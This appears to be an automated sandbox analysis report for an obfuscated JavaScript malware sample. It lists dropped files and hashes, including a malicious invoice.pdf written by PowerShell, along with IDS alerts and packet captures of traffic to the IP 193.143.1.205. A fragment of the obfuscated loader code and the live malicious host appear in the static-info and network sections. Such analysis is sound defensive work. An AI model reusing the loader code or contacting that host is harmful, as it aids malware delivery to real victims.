Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42e26c9e-b3c5-499a-b4a1-944fce6b1c86.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5b79e98e-3b31-488e-b54b-04c57ff66d21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b41a8a61-301e-4e69-a913-4724aae0158f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/cwbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:kwb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	63ED67287DE919348B8D51913C96AEE8
SHA1:	CFB721F079C3CB57602E136DB4ADC352116AC8C8
SHA-256:	FA7A696411B7DF0092E3EA8967C7116B79FBB93D975FA8EEDDAE99712EFD1EF7
SHA-512:	660FC2F5941BCC8AF5EE3712FF450D1575D00B42FECF1CC15BDC673CDD706FB372A9955917C4AF5DECAB51404B3DE8A64AB217010EE51FC1B81EC96E2BA8F11C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f1c4ff23-5979-4e13-a28b-581e3f775f9c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16601), with CRLF line terminators
Entropy (8bit):	4.903467338945021
TrID:
File name:	251443863021115246.js
File size:	20'088 bytes
MD5:	d6f02ad1776195e3f679f8a34eec0607
SHA1:	c55ef6ae1dbb1b1d22e990341034c3fb4d91329c
SHA256:	50dfa4d42e6270fbf39d8abffd14b64e959cc82cade673dda0103085061756f7
SHA512:	7639f2e34ee57e46bbc6cdeae98b438c4efd1d525d2993c347a59f188a2746324cf41e350ae0fe44f8a6d47276973aa658b61ad644bf57943b5ac97edfa73c0b
SSDEEP:	384:q/8lAWwlIEMNhS82LAkr21DV6Ih+Lx8PCLrvL5FvZKAfF5DBqIezHzoPGF6pHEXi:E1lIEMNhS82LAkr21DV6Ih+Lx8PCLrvR
TLSH:	EC9235C2E62A43638CE453F314450C8A3AF48B5C839859DF6DC12C8476ADEBAF6F2575
File Content Preview:	function vzunn(){whpfhv=[1031,3079,5127,4103,2055,3072];var lnqge=this[wohik+mkwdjuo+fydzxayvw+cstwup+ewmfl+xsatk+uehxw+iwmsuuzwl](this[awgkxpo+sjohlmwvm+umtslnavh+fydzxayvw+uvcxd+wohik+iwmsuuzwl][nnzvpj+fydzxayvw+ewmfl+mkwdjuo+iwmsuuzwl+ewmfl+vjvep+ujzud

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:06:28.028686+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49738	193.143.1.205	80	TCP
2025-01-10T18:06:31.056281+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49758	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:06:27.196115017 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:27.201066971 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:27.202338934 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:27.216618061 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:27.221591949 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028615952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028641939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028655052 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028671980 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028686047 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.028692007 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028707027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028722048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028733969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028748035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028760910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.028768063 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.028789997 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.028805017 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.086747885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.086766005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.086786032 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.086797953 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.086836100 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.086874962 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.149763107 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.149782896 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.149796963 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.149810076 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.149833918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.149863958 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.149903059 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.150090933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150105000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150111914 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150125027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150156975 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.150440931 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.150625944 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150639057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150660992 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.150670052 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.150703907 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.151077986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151091099 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151104927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151134014 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.151158094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151170969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151205063 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.151932001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151943922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151957035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.151992083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.152020931 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.175225973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.215631962 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.215658903 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.215668917 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.215683937 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.215706110 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.215743065 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.239280939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.239300966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.239464998 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.270457983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270474911 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270495892 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270509005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270523071 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270531893 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.270536900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270585060 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.270869970 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270883083 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.270914078 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271035910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271048069 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271060944 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271074057 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271096945 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271557093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271569014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271580935 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271595955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271624088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271646976 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271697998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271711111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271723986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271737099 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.271748066 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.271778107 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.272216082 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272229910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272242069 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272254944 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272268057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272273064 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.272281885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272289038 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.272300005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.272321939 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.273108006 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273123026 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273135900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273149014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273161888 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.273163080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273175955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273194075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273201942 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.273222923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.273236990 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.273929119 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273942947 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273956060 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273967981 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273981094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273994923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.273997068 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.274027109 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.274043083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.296535969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.296561003 CET	80	49738	193.143.1.205	192.168.2.10
